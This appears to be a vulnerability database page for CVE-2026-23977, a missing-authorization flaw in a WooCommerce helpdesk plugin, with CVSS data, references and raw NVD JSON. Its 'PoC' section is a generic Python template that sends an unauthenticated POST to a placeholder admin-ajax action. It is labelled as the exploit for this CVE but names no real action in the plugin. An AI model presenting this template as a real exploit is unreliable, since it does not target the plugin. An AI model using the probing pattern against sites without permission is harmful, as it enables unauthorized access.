CVE-2026-23977

Description

Missing Authorization vulnerability in WPFactory Helpdesk Support Ticket System for WooCommerce support-ticket-system-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Helpdesk Support Ticket System for WooCommerce: from n/a through <= 2.1.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WPFactory Helpdesk Support Ticket System for WooCommerce <= 2.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Example PoC for CVE-2026-23977
# Targeting a vulnerable endpoint without authentication

target_url = "http://example.com/wp-admin/admin-ajax.php"
action = "vulnerable_action_name"  # Replace with actual action name found in source code

payload = {
    "action": action,
    "param": "test"
}

try:
    # Sending request without cookies or authorization headers
    response = requests.post(target_url, data=payload)

    if response.status_code == 200:
        print("[+] Potential Vulnerability Detected!")
        print("[+] Response:", response.text)
    else:
        print("[-] Request failed or endpoint not accessible.")

except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23977
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23977
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23977/
[4] VulDB https://vuldb.com/cve/CVE-2026-23977
[5] https://patchstack.com/database/Wordpress/Plugin/support-ticket-system-for-woocommerce/vulnerability/wordpress-helpdesk-support-ticket-system-for-woocommerce-plugin-2-1-2-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23977", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:36.557", "lastModified": "2026-04-28T16:16:08.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WPFactory Helpdesk Support Ticket System for WooCommerce support-ticket-system-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Helpdesk Support Ticket System for WooCommerce: from n/a through <= 2.1.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en WPFactory Helpdesk Support Ticket System for WooCommerce support-ticket-system-for-woocommerce permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Helpdesk Support Ticket System for WooCommerce: desde n/a hasta <= 2.1.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/support-ticket-system-for-woocommerce/vulnerability/wordpress-helpdesk-support-ticket-system-for-woocommerce-plugin-2-1-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}